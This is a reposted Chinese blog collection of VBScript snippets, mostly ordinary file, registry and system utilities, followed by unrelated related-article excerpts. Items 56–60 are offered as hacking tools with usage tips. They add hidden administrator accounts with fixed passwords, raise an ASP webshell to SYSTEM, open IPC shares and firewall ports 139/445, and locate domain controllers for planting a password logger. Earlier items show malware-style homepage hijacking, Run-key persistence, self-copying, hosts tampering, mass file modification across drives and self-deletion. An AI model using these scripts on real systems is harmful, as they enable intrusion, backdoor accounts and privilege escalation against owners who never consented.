阿鱼_d95e
阿鱼_d95e

VBS脚本常用经典代码

https://blog.csdn.net/zang141588761/article/details/79725094

1、VBS获取系统安装路径

/*先定义这个变量是获取系统安装路径的，然后我们用“&strWinDir&”调用这个变量。*/

setWshShell = WScript.CreateObject("WScript.Shell")

strWinDir= WshShell.ExpandEnvironmentStrings("%WinDir%")

2、VBS获取C:/Program Files路径

msgbox CreateObject("WScript.Shell").ExpandEnvironmentStrings("%ProgramFiles%")

3、VBS获取C:/Program Files/Common Files路径

msgboxCreateObject("WScript.Shell").ExpandEnvironmentStrings("%CommonProgramFiles%")

4、给桌面添加网址快捷方式

setgangzi = WScript.CreateObject("WScript.Shell")

strDesktop= gangzi.SpecialFolders("Desktop")

setoShellLink = gangzi.CreateShortcut(strDesktop & "/InternetExplorer.lnk")

oShellLink.TargetPath= "http://www.fendou.info"

oShellLink.Description= "Internet Explorer"

oShellLink.IconLocation= "%ProgramFiles%/Internet Explorer/iexplore.exe, 0"

oShellLink.Save

5、给收藏夹添加网址

ConstADMINISTRATIVE_TOOLS = 6

SetobjShell = CreateObject("Shell.Application")

SetobjFolder = objShell.Namespace(ADMINISTRATIVE_TOOLS)

SetobjFolderItem = objFolder.Self   

SetobjShell = WScript.CreateObject("WScript.Shell")

strDesktopFld= objFolderItem.Path

SetobjURLShortcut = objShell.CreateShortcut(strDesktopFld & "/奋斗Blog.url")

objURLShortcut.TargetPath= "http://www.fendou.info/"

objURLShortcut.Save

6、删除指定目录指定后缀文件

OnError Resume Next

Setfso = CreateObject("Scripting.FileSystemObject")

fso.DeleteFile"C:/*.vbs", True

Setfso = Nothing

7、VBS改主页

SetoShell = CreateObject("WScript.Shell")

oShell.RegWrite  "HKEY_CURRENT_USER/Software/Microsoft/InternetExplorer/Main/Start Page","http://www.fendou.info"

8、VBS加启动项

SetoShell=CreateObject("Wscript.Shell")

oShell.RegWrite"HKLM/Software/Microsoft/Windows/CurrentVersion/Run/cmd","cmd.exe"

9、VBS复制自己

setcopy1=createobject("scripting.filesystemobject")

copy1.getfile(wscript.scriptfullname).copy("c:/huan.vbs")

setcopy1=createobject("scripting.filesystemobject")

copy1.getfile("game.exe").copy("c:/gangzi.exe")

/*复制自己到C盘的huan.vbs(复制本vbs目录下的game.exe文件到c盘的gangzi.exe)*/

10、VBS获取系统临时目录

Dimfso

Setfso = CreateObject("Scripting.FileSystemObject")

Dimtempfolder

ConstTemporaryFolder = 2

Settempfolder = fso.GetSpecialFolder(TemporaryFolder)

Wscript.Echotempfolder

11、就算代码出错 依然继续执行

OnError Resume Next

12、VBS打开网址

SetobjShell = CreateObject("Wscript.Shell")

objShell.Run("http://www.fendou.info/")

13、VBS发送邮件

NameSpace= "http://schemas.microsoft.com/cdo/configuration/"

SetEmail = CreateObject("CDO.Message")

Email.From= "发件@qq.com"

Email.To= "收件@qq.com"

Email.Subject= "Test sendmail.vbs"

Email.Textbody= "OK!"

Email.AddAttachment"C:/1.txt"

WithEmail.Configuration.Fields

.Item(NameSpace&"sendusing")= 2

.Item(NameSpace&"smtpserver")= "smtp.邮件服务器.com"

.Item(NameSpace&"smtpserverport")= 25

.Item(NameSpace&"smtpauthenticate")= 1

.Item(NameSpace&"sendusername")= "发件人用户名"

.Item(NameSpace&"sendpassword")= "发件人密码"

.Update

EndWith

Email.Send

14、VBS结束进程

strComputer= "."

SetobjWMIService = GetObject _

    ("winmgmts://" & strComputer& "/root/cimv2")

SetcolProcessList = objWMIService.ExecQuery _

    ("Select * from Win32_Process WhereName = 'Rar.exe'")

ForEach objProcess in colProcessList

    objProcess.Terminate()

Next

15、VBS隐藏打开网址(部分浏览器无法隐藏打开，而是直接打开，适合主流用户使用)

createObject("wscript.shell").run"iexplore http://www.fendou.info/",0

/*兼容所有浏览器，使用IE的绝对路径+参数打开，无法用函数得到IE安装路径，只用函数得到了Program Files路径，应该比上面的方法好，但是两种方法都不是绝对的。*/

Setobjws=WScript.CreateObject("wscript.shell")

objws.Run"""C:/Program Files/InternetExplorer/iexplore.exe""www.baidu.com",vbhide

16、VBS遍历硬盘删除指定文件名

OnError Resume Next

DimfPath

strComputer= "."

SetobjWMIService = GetObject _

    ("winmgmts://" & strComputer& "/root/cimv2")

SetcolProcessList = objWMIService.ExecQuery _

    ("Select * from Win32_Process WhereName = 'gangzi.exe'")

ForEach objProcess in colProcessList

    objProcess.Terminate()

Next

SetobjWMIService = GetObject("winmgmts:" _

&"{impersonationLevel=impersonate}!//" & strComputer &"/root/cimv2")

SetcolDirs = objWMIService. _

ExecQuery("Select* from Win32_Directory where name LIKE '%c:%' or name LIKE '%d:%' or name LIKE'%e:%' or name LIKE '%f:%' or name LIKE '%g:%' or name LIKE '%h:%' or name LIKE'%i:%'")

SetobjFSO = CreateObject("Scripting.FileSystemObject")

ForEach objDir in colDirs

fPath= objDir.Name & "/gangzi.exe"

objFSO.DeleteFile(fPath),True

Next

17、VBS获取网卡MAC地址

Dimmc,mo

Setmc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")

ForEach mo In mc

Ifmo.IPEnabled=True Then

MsgBox"本机网卡MAC地址是: " & mo.MacAddress

ExitFor

EndIf

Next

18、VBS获取本机注册表主页地址

Setreg=WScript.CreateObject("WScript.Shell")

startpage=reg.RegRead("HKEY_CURRENT_USER/Software/Microsoft/InternetExplorer/Main/Start Page")

MsgBoxstartpage

19、VBS遍历所有磁盘的所有目录，找到所有.txt的文件，然后给所有txt文件最底部加一句话

OnError Resume Next

Setfso = CreateObject("Scripting.FileSystemObject")

Co= VbCrLf & "路过。。。"

ForEach i In fso.Drives

  If i.DriveType = 2 Then

    GF fso.GetFolder(i & "/")

  End If

Next

SubGF(fol)

  Wh fol

  Dim i

  For Each i In fol.SubFolders

    GF i

  Next

EndSub

SubWh(fol)

  Dim i

  For Each i In fol.Files

    If LCase(fso.GetExtensionName(i)) ="shtml" Then

      fso.OpenTextFile(i,8,0).Write Co

    End If

  Next

EndSub

20、获取计算机所有盘符

Setfso=CreateObject("scripting.filesystemobject")

Setobjdrives=fso.Drives '取得当前计算机的所有磁盘驱动器

ForEach objdrive In objdrives '遍历磁盘

MsgBoxobjdrive

Next

21、VBS给本机所有磁盘根目录创建文件

OnError Resume Next

Setfso=CreateObject("Scripting.FileSystemObject")

Setgangzis=fso.Drives'取得当前计算机的所有磁盘驱动器

ForEach gangzi In gangzis  '遍历磁盘

SetTestFile=fso.CreateTextFile(""&gangzi&"/新建文件夹.vbs",Ture)

TestFile.WriteLine("Bywww.gangzi.org")

TestFile.Close

Next

22、VBS遍历本机全盘找到所有123.exe，然后给他们改名321.exe

setfs = CreateObject("Scripting.FileSystemObject")

foreach drive in fs.drives

fstraversaldrive.rootfolder

next

subfstraversal(byval this)

foreach folder in this.subfolders

fstraversalfolder

next

setfiles = this.files

foreach file in files

iffile.name = "123.exe" then file.name = "321.exe"

next

endsub

23、VBS写入代码到粘贴板

/*先说明一下，VBS写内容到粘贴板，网上千篇一律都是通过InternetExplorer.Application对象来实现，但是缺点是在默认浏览器为非IE中会弹出浏览器，所以费了很大的劲找到了这个代码来实现*/

str=“这里是你要复制到剪贴板的字符串”

Setws = wscript.createobject("wscript.shell")

ws.run "mshtavbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0,true

24、QQ自动发消息

On Error Resume Next

str="我是笨蛋/qq"

SetWshShell=WScript.CreateObject("WScript.Shell")

WshShell.run "mshtavbscript:clipboardData.SetData("+""""+"text"+""""+","+""""&str&""""+")(close)",0

WshShell.run"tencent://message/?Menu=yes&uin=20016964&Site=&Service=200&sigT=2a39fb276d15586e1114e71f7af38e195148b0369a16a40fdad564ce185f72e8de86db22c67ec3c1",0,true

WScript.Sleep 3000

WshShell.SendKeys "^v"

WshShell.SendKeys "%s"

25、VBS隐藏文件

SetobjFSO = CreateObject("Scripting.FileSystemObject")

SetobjFile = objFSO.GetFile("F:/软件大赛/show.txt")

IfobjFile.Attributes = objFile.Attributes AND 2 Then

    objFile.Attributes = objFile.Attributes XOR2

EndIf

26、VBS生成随机数

/*521是生成规则，不同的数字生成的规则不一样，可以用于其它用途*/

Randomize521

point=Array(Int(100*Rnd+1),Int(1000*Rnd+1),Int(10000*Rnd+1))

msgboxjoin(point,"")

27、VBS删除桌面IE图标（非快捷方式）

SetoShell = CreateObject("WScript.Shell")

oShell.RegWrite"HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoInternetIcon",1,"REG_DWORD"

28、VBS获取自身文件名

Setfso = CreateObject("Scripting.FileSystemObject")

msgboxWScript.ScriptName

29、VBS读取Unicode编码的文件

SetobjFSO = CreateObject("Scripting.FileSystemObject")

SetobjFile = objFSO.OpenTextFile("gangzi.txt",1,False,-1)

strText= objFile.ReadAll

objFile.Close

Wscript.EchostrText

30、VBS读取指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径

setstm2 =createobject("ADODB.Stream")

stm2.Charset= "utf-8"

stm2.Open

stm2.LoadFromFilegangzi

readfile= stm2.ReadText

MsgBoxreadfile

31、VBS禁用组策略

SetoShell = CreateObject("WScript.Shell")

oShell.RegWrite"HKEY_CURRENT_USER/Software/Policies/Microsoft/MMC/RestrictToPermittedSnapins",1,"REG_DWORD"

32、VBS写指定编码的文件（默认为uft-8）gangzi变量是要读取文件的路径，gangzi2是内容变量

gangzi="1.txt"

gangzi2="www.gangzi.org"

SetStm1 = CreateObject("ADODB.Stream")

Stm1.Type= 2

Stm1.Open

Stm1.Charset= "UTF-8"

Stm1.Position= Stm1.Size

Stm1.WriteTextgangzi2

Stm1.SaveToFilegangzi,2

Stm1.Close

setStm1 = nothing

33、VBS获取当前目录下所有文件夹名字（不包括子文件夹）

Setfso=CreateObject("scripting.filesystemobject")

Setf=fso.GetFolder(fso.GetAbsolutePathName("."))

Setfolders=f.SubFolders

ForEach fo In folders

  wsh.echo fo.Name

Next

Setfolders=Nothing

Setf=nothing

Setfso=nothing

34、VBS获取指定目录下所有文件夹名字（包括子文件夹）

Dimt

Setfso=WScript.CreateObject("scripting.filesystemobject")

Setfs=fso.GetFolder("d:/")

WScript.Echoaa(fs)

Functionaa(n)

Setf=n.subfolders

ForEach uu In f

Setop=fso.GetFolder(uu.path)

t=t& vbcrlf & op.path

Callaa(op)

Next

aa=t

Endfunction

35、VBS创建.URL文件

/*IconIndex参数不同的数字代表不同的图标，具体请参照SHELL32.dll里面的所有图标*/

setfso=createobject("scripting.filesystemobject")

qidong=qidong&"[InternetShortcut]"&Chr(13)&Chr(10)

qidong=qidong&"URL=http://www.fendou.info"&Chr(13)&Chr(10)

qidong=qidong&"IconFile=C:/WINDOWS/system32/SHELL32.dll"&Chr(13)&Chr(10)

qidong=qidong&"IconIndex=130"&Chr(13)&Chr(10)

SetTestFile=fso.CreateTextFile("qq.url",Ture)

TestFile.WriteLine(qidong)

TestFile.Close

36、VBS写hosts

/*没写判断，无论存不存在都追加底部*/

Setfs = CreateObject("Scripting.FileSystemObject")

path= ""&fs.GetSpecialFolder(1)&"/drivers/etc/hosts"

Setf = fs.OpenTextFile(path,8,TristateFalse)

f.Write""&vbcrlf&"127.0.0.1www.g.cn"&vbcrlf&"127.0.0.1 g.cn"

f.Close

37、VBS读取出HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Desktop/NameSpace下面所有键的名字并循环输出

Const HKLM = &H80000002

strPath = "SOFTWARE/Microsoft/Windows/CurrentVersion/Explorer/Desktop/NameSpace"

Set oreg =GetObject("Winmgmts:/root/default:StdRegProv")

   oreg.EnumKey HKLM,strPath,arr

   For Each x In arr

       WScript.Echo x

   Next

38、VBS创建txt文件

Dimfso,TestFile

Setfso=CreateObject("Scripting.FileSystemObject")

SetTestFile=fso.CreateTextFile("C:/hello.txt",Ture)

TestFile.WriteLine("Hello,World!")

TestFile.Close

39、VBS创建文件夹

Dimfso,fld

Setfso=CreateObject("Scripting.FileSystemObject")

Setfld=fso.CreateFolder("C:/newFolder")

40、VBS判断文件夹是否存在

Dimfso,fld

Setfso=CreateObject("Scripting.FileSystemObject")

If(fso.FolderExists("C:/newFolder")) Then

msgbox("Folderexists.")

else

setfld=fso.CreateFolder("C:/newFolder")

EndIf

41、VBS使用变量判断文件夹

Dimfso,fld

drvName="C:/"

fldName="newFolder"

Setfso=CreateObject("Scripting.FileSystemObject")

If(fso.FolderExists(drvName&fldName)) Then

msgbox("Folderexists.")

else

setfld=fso.CreateFolder(drvName&fldName)

EndIf

42、VBS加输入框

Dimfso,TestFile,fileName,drvName,fldName

drvName=inputbox("Enterthe drive to save to:","Drive letter")

fldName=inputbox("Enterthe folder name:","Folder name")

fileName=inputbox("Enterthe name of the file:","Filename")

Setfso=CreateObject("Scripting.FileSystemObject")

If(fso.FolderExists(drvName&fldName))Then

msgbox("Folderexists")

Else

Setfld=fso.CreateFolder(drvName&fldName)

EndIf

SetTestFile=fso.CreateTextFile(drvName&fldName&"/"&fileName&".txt",True)

TestFile.WriteLine("Hello,World!")

TestFile.Close

43、VBS检查是否有相同文件

Dimfso,TestFile,fileName,drvName,fldName

drvName=inputbox("Enterthe drive to save to:","Drive letter")

fldName=inputbox("Enterthe folder name:","Folder name")

fileName=inputbox("Enterthe name of the file:","Filename")

Setfso=CreateObject("Scripting.FileSystemObject")

If(fso.FolderExists(drvName&fldName))Then

msgbox("Folderexists")

Else

Setfld=fso.CreateFolder(drvName&fldName)

EndIf

If(fso.FileExists(drvName&fldName&"/"&fileName&".txt"))Then

msgbox("Filealready exists.")

Else

SetTestFile=fso.CreateTextFile(drvName&fldName&"/"&fileName&".txt",True)

TestFile.WriteLine("Hello,World!")

TestFile.Close

EndIf

44、VBS改写、追加 文件

Dimfso,openFile

Setfso=CreateObject("Scripting.FileSystemObject")

SetopenFile=fso.OpenTextFile("C:/test.txt",2,True)  '1表示只读，2表示可写，8表示追加

openFile.Write"Hello World!"

openFile.Close

45、VBS读取文件 ReadAll 读取全部

Dimfso,openFile

Setfso=CreateObject("Scripting.FileSystemObject")

SetopenFile=fso.OpenTextFile("C:/test.txt",1,True)

MsgBox(openFile.ReadAll)

46、VBS读取文件 ReadLine 读取一行

Dimfso,openFile

Setfso=CreateObject("Scripting.FileSystemObject")

SetopenFile=fso.OpenTextFile("C:/test.txt",1,True)

MsgBox(openFile.ReadLine())

MsgBox(openFile.ReadLine()) '如果读取行数超过文件的行数，就会出错

47、VBS读取文件 Read 读取n个字符

Dimfso,openFile

Setfso=CreateObject("Scripting.FileSystemObject")

SetopenFile=fso.OpenTextFile("C:/test.txt",1,True)

MsgBox(openFile.Read(2))'如果超出了字符数，不会出错。

48、VBS删除文件

Dimfso

Setfso=CreateObject("Scripting.FileSystemObject")

fso.DeleteFile("C:/test.txt")

49、VBS删除文件夹

Dimfso

Setfso=CreateObject("Scripting.FileSystemObject")

fso.DeleteFolder("C:/newFolder")'不管文件夹中有没有文件都一并删除

50、VBS连续创建文件

Dimfso,TestFile

Setfso=CreateObject("Scripting.FileSystemObject")

Fori=1 To 10

SetTestFile=fso.CreateTextFile("C:/hello"&i&".txt",Ture)

TestFile.WriteLine("Hello,World!")

TestFile.Close

Next

51、VBS根据计算机名随机生成字符串

setws=createobject("wscript.shell")

setwenv=ws.environment("process")

RDA=wenv("computername")

FunctionUCharRand(n)

Fori=1 to n

RandomizeASC(MID(RDA,1,1))

temp= cint(25*Rnd)

temp= temp +65

UCharRand= UCharRand & chr(temp)

Next

EndFunction

msgboxUCharRand(LEN(RDA))

52、VBS根据mac生成序列号

FunctionEncode(strPass)

   Dim i, theStr, strTmp

   For i = 1 To Len(strPass)

    strTmp = Asc(Mid(strPass, i, 1))

    theStr = theStr & Abs(strTmp)

   Next

   strPass = theStr

   theStr = ""

   Do While Len(strPass) > 16

    strPass = JoinCutStr(strPass)

   Loop

   For i = 1 To Len(strPass)

    strTmp = CInt(Mid(strPass, i, 1))

    strTmp = IIf(strTmp > 6, Chr(strTmp +60), strTmp)

    theStr = theStr & strTmp

   Next

   Encode = theStr

EndFunction

FunctionJoinCutStr(str)

   Dim i, theStr

   For i = 1 To Len(str)

    If Len(str) - i = 0 Then Exit For

    theStr = theStr &Chr(CInt((Asc(Mid(str, i, 1)) + Asc(Mid(str, i +1, 1))) / 2))

    i = i + 1

   Next

   JoinCutStr = theStr

EndFunction

FunctionIIf(var, val1, val2)

   If var = True Then

    IIf = val1

   Else

    IIf = val2

   End If

EndFunction

Setmc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")

ForEach mo In mc

Ifmo.IPEnabled=True Then

theStr= mo.MacAddress

ExitFor

EndIf

Next

RandomizeEncode(theStr)

rdnum=Int(10*Rnd+5)

FunctionallRand(n)

  For i=1 to n

    Randomize Encode(theStr)

    temp = cint(25*Rnd)

    If temp mod 2 = 0 then

      temp = temp + 97

    ElseIf temp < 9 then

      temp = temp + 48

    Else

      temp = temp + 65

    End If

    allRand = allRand & chr(temp)

  Next

EndFunction

msgboxallRand(rdnum)

53、VBS自动连接adsl

DimWsh

SetWsh = WScript.CreateObject("WScript.Shell")

wsh.run"Rasdial 连接名字 账号 密码",false,1

54、VBS自动断开ADSL

DimWsh

SetWsh = WScript.CreateObject("WScript.Shell")

wsh.run"Rasdial /DISCONNECT",false,1

55、VBS每隔3秒自动更换IP并打开网址实例

/*值得一提的是，下面这个代码中每次打开的网址都是引用同一个IE窗口，也就是每次打开的是覆盖上次打开的窗口，如果需要每次打开的网址都是新窗口，直接使用run就可以了*/

DimWsh

SetWsh = WScript.CreateObject("WScript.Shell")

SetoIE = CreateObject("InternetExplorer.Application")

fori=1 to 5

wsh.run"Rasdial /DISCONNECT",false,1

wsh.run"Rasdial 连接名字 账号 密码",false,1

oIE.Navigate"http://www.ip138.com/?"&i&""

CallSynchronizeIE

oIE.Visible= True

next

SubSynchronizeIE

OnError Resume Next

DoWhile(oIE.Busy)

WScript.Sleep3000

Loop

EndSub

56、用VBS来加管理员帐号

/*在注入过程中明明有了sa帐号，但是由于net.exe和net1.exe被限制，或其它的不明原因，总是加不了管理员帐号。VBS在活动目录（adsi）部份有一个winnt对像，可以用来管理本地资源，可以用它不依靠cmd等命令来加一个管理员*/

setwsnetwork=CreateObject("WSCRIPT.NETWORK")

os="WinNT://"&wsnetwork.ComputerName

Setob=GetObject(os)'得到adsi接口,绑定

Setoe=GetObject(os&"/Administrators,group")'属性,admin组

Setod=ob.Create("user","lcx") '建立用户

od.SetPassword"123456"'设置密码

od.SetInfo'保存

Setof=GetObject(os&"/lcx",user) '得到用户

oe.addos&"/lcx"

/*这段代码如果保存为1.vbs，在cmd下运行，格式: cscript 1.vbs的话，会在当前系统加一个名字为lcx，密码为123456的管理员。当然，你可以用记事本来修改里边的变量lcx和123456，改成你喜欢的名字和密码值。*/

57、用vbs来列虚拟主机的物理目录

/*有时旁注入侵成功一个站，拿到系统权限后，面对上百个虚拟主机，怎样才能更快的找到我们目标站的物理目录呢？一个站一个站翻看太累，用系统自带的adsutil.vbs吧又感觉好像参数很多，有点无法下手的感觉，试试我这个脚本吧，代码如下：*/

SetObjService=GetObject("IIS://LocalHost/W3SVC")

ForEach obj3w In objservice

IfIsNumeric(obj3w.Name) Then

sServerName=Obj3w.ServerComment

SetwebSite = GetObject("IIS://Localhost/W3SVC/" & obj3w.Name &"/Root")

ListAllWeb= ListAllWeb & obj3w.Name & String(25-Len(obj3w.Name)," ")& obj3w.ServerComment & "(" & webSite.Path &")" & vbCrLf

EndIf

Next

WScript.EchoListAllWeb

SetObjService=Nothing

WScript.Quit

/*运行cscript 2.vbs后，就会详细列出IIS里的站点ID、描述、及物理目录，是不是代码少很多又方便呢*/

58、用VBS快速找到内网域的主服务器

/*面对域结构的内网，可能许多小菜没有经验如何去渗透。如果你能拿到主域管理员的密码，整个内网你就可以自由穿行了。主域管理员一般呆在比较重要的机器上，如果能搞定其中的一台或几台，放个密码记录器之类，相信总有一天你会拿到密码。主域服务器当然是其中最重要一台了，如何在成千台机器里判断出是哪一台呢？dos命令像net group “domainadmins” /domain可以做为一个判断的标准，不过vbs也可以做到的，这仍然属于adsi部份的内容，：*/

setobj=GetObject("LDAP://rootDSE")

wscript.echoobj.servername

/*只用这两句代码就足够了，运行cscript 3.vbs，会有结果的。当然，无论是dos命令或vbs，你前提必须要在域用户的权限下。好比你得到了一个域用户的帐号密码，你可以用 psexec.exe -u -p cmd.exe这样的格式来得到域用户的shell，或你的木马本来就是与桌面交互的，登陆你木马shell的又是域用户，就可以直接运行这些命令了。

vbs的在入侵中的作用当然不只这些，当然用js或其它工具也可以实现我上述代码的功能；不过这个专栏定下的题目是vbs在hacking中的妙用，所以我们只提vbs。写完vbs这部份我和其它作者会在以后的专栏继续策划其它的题目，争取为读者带来好的有用的文章。*/

59、WebShell提权用的VBS代码

/*asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限，代码如下asp木马一直是搞脚本的朋友喜欢使用的工具之一,但由于它的权限一般都比较低(一般是IWAM_NAME权限),所以大家想出了各种方法来提升它的权限,比如说通过asp木马得到mssql数据库的权限,或拿到ftp的密码信息,又或者说是替换一个服务程序。而我今天要介绍的技巧是利用一个vbs文件来提升asp木马的权限*/

setwsh=createobject("wscript.shell")

a=wsh.run ("cmd.exe /c cscript.exeC:/Inetpub/AdminScripts/adsutil.vbs set /W3SVC/InProcessIsapiAppsC:/WINNT/system32/inetsrv/httpext.dll C:/WINNT/system32/inetsrv/httpodbc.dllC:/WINNT/system32/inetsrv/ssinc.dll C:/WINNT/system32/msw3prt.dllC:/winnt/system32/inetsrv/asp.dll",0)'加入asp.dll到InProcessIsapiApps中

/*将其保存为vbs的后缀,再上传到服务上，然后利用asp木马执行这个vbs文件后。再试试你的asp木马吧，你会发现自己己经是system权限了*/

60、VBS开启ipc服务和相关设置

DimOperationRegistry

SetOperationRegistry=WScript.CreateObject("WScript.Shell")

OperationRegistry.RegWrite"HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/forceguest",0

Setwsh3=wscript.createobject("wscript.shell")

wsh3.Run"net user helpassistant 123456",0,false

wsh3.Run"net user helpassistant /active",0,false

wsh3.Run"net localgroup administrators helpassistant /add",0,false

wsh3.Run"net start Lanmanworkstation /y",0,false

wsh3.Run"net start Lanmanserver /y",0,false

wsh3.Run"net start ipc$",0,True

wsh3.Run"net share c$=c:/",0,false

wsh3.Run"netsh firewall set notifications disable",0,True

wsh3.Run"netsh firewall set portopening TCP 139 enable",0,false

wsh3.Run"netsh firewall set portopening UDP 139 enable",0,false

wsh3.Run"netsh firewall set portopening TCP 445 enable",0,false

wsh3.Run"netsh firewall set portopening UDP 445 enable",0,false

61、VBS时间判断代码

Digital=time

    hours=Hour(Digital)

    minutes=Minute(Digital)

    seconds=Second(Digital)

    if (hours<6) then

        dn="凌辰了，还没睡啊？"

    end if

    if (hours>=6) then

        dn="早上好！"

    end if

    if (hours>12) then

        dn="下午好！"

    end if

    if (hours>18) then

        dn="晚上好！"

    end if

    if (hours>22) then

        dn="不早了，夜深了，该睡觉了！"

    end if

    if (minutes<=9) then

        minutes="0" & minutes

    end if

    if (seconds<=9) then

        seconds="0" & seconds

    end if

ctime=hours& ":" & minutes & ":" & seconds &" " & dn

Msgboxctime

62、VBS注册表读写

Dim OperationRegistry , mynum

Set OperationRegistry=WScript.CreateObject("WScript.Shell")

mynum = 9

mynum =OperationRegistry.RegRead("HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/forceguest")

MsgBox("before forceguest ="&mynum)

OperationRegistry.RegWrite"HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/forceguest",0

mynum =OperationRegistry.RegRead("HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Lsa/forceguest")

MsgBox("after forceguest ="&mynum)

63、VBS运行后删除自身代码

dimfso,f

Setfso = CreateObject("Scripting.FileSystemObject")

f= fso.DeleteFile(WScript.ScriptName)

WScript.Echo(WScript.ScriptName)

你可能感兴趣的:(VBS脚本常用经典代码)

  • OC语言多界面传值五大方式 Magnetic_h iosui学习objective-c开发语言
    前言在完成暑假仿写项目时，遇到了许多需要用到多界面传值的地方，这篇博客来总结一下比较常用的五种多界面传值的方式。属性传值属性传值一般用前一个界面向后一个界面传值，简单地说就是通过访问后一个视图控制器的属性来为它赋值，通过这个属性来做到从前一个界面向后一个界面传值。首先在后一个界面中定义属性@interfaceBViewController:UIViewController@propertyNSSt
  • 理解Gunicorn：Python WSGI服务器的基石 范范0825 ipythonlinux运维
    理解Gunicorn：PythonWSGI服务器的基石介绍Gunicorn，全称GreenUnicorn，是一个为PythonWSGI（WebServerGatewayInterface）应用设计的高效、轻量级HTTP服务器。作为PythonWeb应用部署的常用工具，Gunicorn以其高性能和易用性著称。本文将介绍Gunicorn的基本概念、安装和配置，帮助初学者快速上手。1.什么是Gunico
  • ArcGIS栅格计算器常见公式（赋值、0和空值的转换、补充栅格空值） 研学随笔 arcgis经验分享
    我们在使用ArcGIS时通常经常用到栅格计算器，今天主要给大家介绍我日常中经常用到的几个公式，供大家参考学习。将特定值（-9999）赋值为0，例如-9999.Con("raster"==-9999,0,"raster")2.给空值赋予特定的值（如0）Con(IsNull("raster"),0,"raster")3.将特定的栅格值(如1)赋值为空值，其他保留原值SetNull("raster"==
  • Python数据分析与可视化实战指南 William数据分析 pythonpython数据
    在数据驱动的时代，Python因其简洁的语法、强大的库生态系统以及活跃的社区，成为了数据分析与可视化的首选语言。本文将通过一个详细的案例，带领大家学习如何使用Python进行数据分析，并通过可视化来直观呈现分析结果。一、环境准备1.1安装必要库在开始数据分析和可视化之前，我们需要安装一些常用的库。主要包括pandas、numpy、matplotlib和seaborn等。这些库分别用于数据处理、数学
  • git常用命令笔记 咩酱-小羊 git笔记
    ###用习惯了idea总是不记得git的一些常见命令，需要用到的时候总是担心旁边站了人~~~记个笔记@_@，告诉自己看笔记不丢人初始化初始化一个新的Git仓库gitinit配置配置用户信息gitconfig--globaluser.name"YourName"gitconfig--globaluser.email"[email protected]"基本操作克隆远程仓库gitclone查看
  • 509. 斐波那契数(每日一题) lzyprime
    lzyprime博客(github)创建时间：2021.01.04qq及邮箱：2383518170leetcode笔记题目描述斐波那契数，通常用F(n)表示，形成的序列称为斐波那契数列。该数列由0和1开始，后面的每一项数字都是前面两项数字的和。也就是：F(0)=0，F(1)=1F(n)=F(n-1)+F(n-2)，其中n>1给你n，请计算F(n)。示例1：输入：2输出：1解释：F(2)=F(1)+
  • Git常用命令－修改远程仓库地址 猿大师 LinuxJavagitjava
    查看远程仓库地址gitremote-v返回结果originhttps://git.coding.net/＊＊＊＊＊.git(fetch)originhttps://git.coding.net/＊＊＊＊＊.git(push)修改远程仓库地址gitremoteset-urloriginhttps://git.coding.net/＊＊＊＊＊.git先删除后增加远程仓库地址gitremotermori
  • Day17笔记-高阶函数 ~在杰难逃~ Python笔记python开发语言pycharm数据分析
    高阶函数【重点掌握】函数的本质：函数是一个变量，函数名是一个变量名，一个函数可以作为另一个函数的参数或返回值使用如果A函数作为B函数的参数，B函数调用完成之后，会得到一个结果，则B函数被称为高阶函数常用的高阶函数：map(),reduce(),filter(),sorted()1.map()map(func,iterable)，返回值是一个iterator【容器，迭代器】func:函数iterab
  • Python爬虫解析工具之xpath使用详解 eqa11 python爬虫开发语言
    文章目录Python爬虫解析工具之xpath使用详解一、引言二、环境准备1、插件安装2、依赖库安装三、xpath语法详解1、路径表达式2、通配符3、谓语4、常用函数四、xpath在Python代码中的使用1、文档树的创建2、使用xpath表达式3、获取元素内容和属性五、总结Python爬虫解析工具之xpath使用详解一、引言在Python爬虫开发中，数据提取是一个至关重要的环节。xpath作为一门
  • mac电脑命令行获取电量 小米人er 我的博客macos命令行
    在macOS上，有几个命令行工具可以用来获取电量信息，最常用的是pmset命令。你可以通过以下方式来查看电池状态和电量信息：查看电池状态：pmset-gbatt这个命令会返回类似下面的输出：Nowdrawingfrom'BatteryPower'-InternalBattery-0(id=1234567)95%;discharging;4:02remainingpresent:true输出中包括电
  • Python开发常用的三方模块如下： 换个网名有点难 python开发语言
    Python是一门功能强大的编程语言，拥有丰富的第三方库，这些库为开发者提供了极大的便利。以下是100个常用的Python库，涵盖了多个领域：1、NumPy，用于科学计算的基础库。2、Pandas，提供数据结构和数据分析工具。3、Matplotlib，一个绘图库。4、Scikit-learn，机器学习库。5、SciPy，用于数学、科学和工程的库。6、TensorFlow，由Google开发的开源机
  • Shell、Bash、Zsh这都是啥啊 小白码上飞 bashlinux开发语言
    Zsh和Bash都是我们常用的Shell，那先搞明白啥是shell吧。Shell作为一个单词，他是“壳”的意思，蛋壳坚果壳。之所以叫壳，是为了和计算机的“核”来区分，用它表示“为使用者提供的操作界面”。所以这个命名其实很形象，翻译成中文，直译过来叫“壳层”。个人认为这个叫法很奇怪，意译貌似也没有什么好的词汇来匹配。就还是叫shell吧。维基百科给的定义是：Incomputing,ashellisa
  • 一文掌握python常用的list（列表）操作 程序员neil pythonpython开发语言
    目录一、创建列表1.直接创建列表：2.使用list()构造器3.使用列表推导式4.创建空列表二、访问列表元素1.列表支持通过索引访问元素，索引从0开始：2.还可以使用切片操作访问列表的一部分：三、修改列表元素四、添加元素1.append()：在末尾添加元素2.insert()：在指定位置插入元素五、删除元素1.del：删除指定位置的元素2.remove()：删除指定值的第一个匹配项3.pop()：
  • 发现荞麦过敏这件事 怪小泊
